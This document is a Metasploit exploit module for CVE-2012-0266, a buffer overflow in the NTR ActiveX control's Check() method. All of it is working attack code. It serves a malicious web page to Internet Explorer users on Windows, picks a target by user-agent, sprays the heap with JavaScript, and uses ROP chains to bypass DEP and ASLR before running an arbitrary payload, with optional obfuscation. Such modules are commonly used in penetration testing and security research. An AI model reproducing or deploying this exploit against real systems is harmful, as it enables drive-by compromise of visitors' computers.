NTR ActiveX Control Check() Method Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "9.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:classid => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",  
:method => "Check",  
:rank => NormalRanking  
})  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NTR ActiveX Control Check() Method Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in NTR ActiveX 1.1.8. The  
vulnerability exists in the Check() method, due to the insecure usage of strcat to  
build a URL using the bstrParams parameter contents, which leads to code execution  
under the context of the user visiting a malicious web page. In order to bypass  
DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.  
},  
'Author' =>  
[  
'Carsten Eiram', # Vuln discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-0266' ],  
[ 'OSVDB', '78252' ],  
[ 'BID', '51374' ],  
[ 'URL', 'http://secunia.com/secunia_research/2012-1/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 956,  
'DisableNops' => true,  
'BadChars' => "",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# NTR ActiveX 1.1.8.0  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3',  
{  
'Rop' => nil,  
'Offset' => '0x5f4',  
'Random' => false,  
'Ret' => 0x0c0c0c0c  
}  
],  
[ 'IE 7 on Windows XP SP3',  
{  
'Rop' => nil,  
'Offset' => '0x5f4',  
'Random' => false,  
'Ret' => 0x0c0c0c0c  
}  
],  
[ 'IE 8 on Windows XP SP3',  
{  
'Rop' => :msvcrt,  
'Offset' => '0x5f4',  
'Random' => false,  
'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt  
}  
],  
[ 'IE 7 on Windows Vista',  
{  
'Rop' => nil,  
'Offset' => '0x5f4',  
'Random' => false,  
'Ret' => 0x0c0c0c0c  
}  
],  
[ 'IE 8 on Windows Vista',  
{  
'Rop' => :jre,  
'Offset' => '0x5f4',  
'Random' => false,  
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6  
}  
],  
[ 'IE 8 on Windows 7',  
{  
'Rop' => :jre,  
'Offset' => '0x5f4',  
'Random' => false,  
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6  
}  
],  
[ 'IE 9 on Windows 7',  
{  
'Rop' => :jre,  
'Offset' => '0x5fe',  
'Random' => true,  
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jan 11 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class  
)  
  
deregister_options('URIPATH')  
  
end  
  
#  
# Returns a random URI path which allows to reach the vulnerable code  
#  
def resource_uri  
path = random_uri  
path << random_uri  
return path  
end  
  
  
#  
# Generates a random URI for use with making finger printing more  
# challenging.  
#  
def random_uri  
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)  
end  
  
# Spray published by corelanc0d3r  
# Exploit writing tutorial part 11 : Heap Spraying Demystified  
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/  
def get_random_spray(t, js_code, js_nops)  
  
spray = <<-JS  
  
function randomblock(blocksize)  
{  
var theblock = "";  
for (var i = 0; i < blocksize; i++)  
{  
theblock += Math.floor(Math.random()*90)+10;  
}  
return theblock;  
}  
  
function tounescape(block)  
{  
var blocklen = block.length;  
var unescapestr = "";  
for (var i = 0; i < blocklen-1; i=i+4)  
{  
unescapestr += "%u" + block.substring(i,i+4);  
}  
return unescapestr;  
}  
  
var heap_obj = new heapLib.ie(0x10000);  
  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset_length = #{t['Offset']};  
  
for (var i=0; i < 0x1000; i++) {  
var padding = unescape(tounescape(randomblock(0x1000)));  
while (padding.length < 0x1000) padding+= padding;  
var junk_offset = padding.substring(0, offset_length);  
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);  
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;  
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);  
heap_obj.alloc(sprayblock);  
}  
  
JS  
  
return spray  
end  
  
def get_spray(t, js_code, js_nops)  
  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var z=1; z < 449; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/  
return targets[4] #IE 7 on Windows Vista SP2  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/  
return targets[5] #IE 7 on Windows Vista SP2  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/  
return targets[6] #IE 7 on Windows 7 SP1  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/  
return targets[7] #IE 7 on Windows 7 SP1  
else  
return nil  
end  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V")[0].to_i  
end  
  
def nop  
return make_nops(4).unpack("V")[0].to_i  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
exec_size = code.length  
rop = [  
0x77C21891, # POP ESI # RETN  
0x0c0c0c04, # ESI  
0x77c4e392, # POP EAX # RETN  
0x77c11120, # <- *&VirtualProtect()  
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN  
0x77c4ec00, # POP EBP # RETN  
0x77c35459, # ptr to 'push esp # ret'  
0x77c47705, # POP EBX # RETN  
exec_size, # EBX  
0x77c3ea01, # POP ECX # RETN  
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)  
0x77c46100, # POP EDI # RETN  
0x77c46101, # ROP NOP (-> edi)  
0x77c4d680, # POP EDX # RETN  
0x00000040, # newProtect (0x40) (-> edx)  
0x77c4e392, # POP EAX # RETN  
nop, # NOPS (-> eax)  
0x77c12df9, # PUSHAD # RETN  
].pack("V*")  
  
when :jre  
print_status("Using JRE ROP")  
exec_size = 0xffffffff - code.length + 1  
rop = [  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
exec_size, # Value to negate, will become 0x00000201 (dwSize)  
0x7c347f98, # RETN (ROP NOP)  
0x7c3415a2, # JMP [EAX]  
0xffffffff,  
0x7c376402, # skip 4 bytes  
0x7c351e05, # NEG EAX # RETN  
0x7c345255, # INC EBX # FPATAN # RETN  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN  
0x7c344f87, # POP EDX # RETN  
0xffffffc0, # Value to negate, will become 0x00000040  
0x7c351eb1, # NEG EDX # RETN  
0x7c34d201, # POP ECX # RETN  
0x7c38b001, # &Writable location  
0x7c347f97, # POP EAX # RETN  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN  
0x7c345c30, # ptr to 'push esp # ret '  
].pack("V*")  
end  
  
code = rop + code  
return code  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
print_status("User-agent: #{agent}")  
  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have a setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
p = get_payload(my_target, cli)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))  
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
  
if my_target['Random']  
js = get_random_spray(my_target, js_code, js_random_nops)  
else  
js = get_spray(my_target, js_code, js_nops)  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
# The overflow occurs after strcat'ing controlled data to  
# a url with the next format:  
# http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&d=[USER DATA]  
#  
# The URI length can be calculated on the fly since the value  
# for the "a" param is being always 0 on my tests, even when  
# should be the result of GetTickCount  
my_uri = get_uri(cli)  
pos = my_uri.rindex("/")  
my_uri = my_uri[0, pos]  
my_uri << "/mod/mod.asp?a=0&d="  
  
my_badchars = "\x00\x0a\x0d\x22\x2c"  
  
if my_target['Rop'].nil?  
bof = rand_text_alpha(1056 - my_uri.length, my_badchars)  
bof << [my_target.ret].pack("V")  
else  
bof = rand_text_alpha(1024 - my_uri.length, my_badchars)  
bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot  
bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars)  
bof << [my_target.ret].pack("V") # stackpivot  
end  
  
sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}"  
  
html = <<-MYHTML  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object classid='clsid:E6ACF817-0A85-4EBE-9F0A-096C6488CFEA' id='test'></object>  
<script>  
test.Check("#{sploit}");  
</script>  
</body>  
</html>  
MYHTML  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
end  
`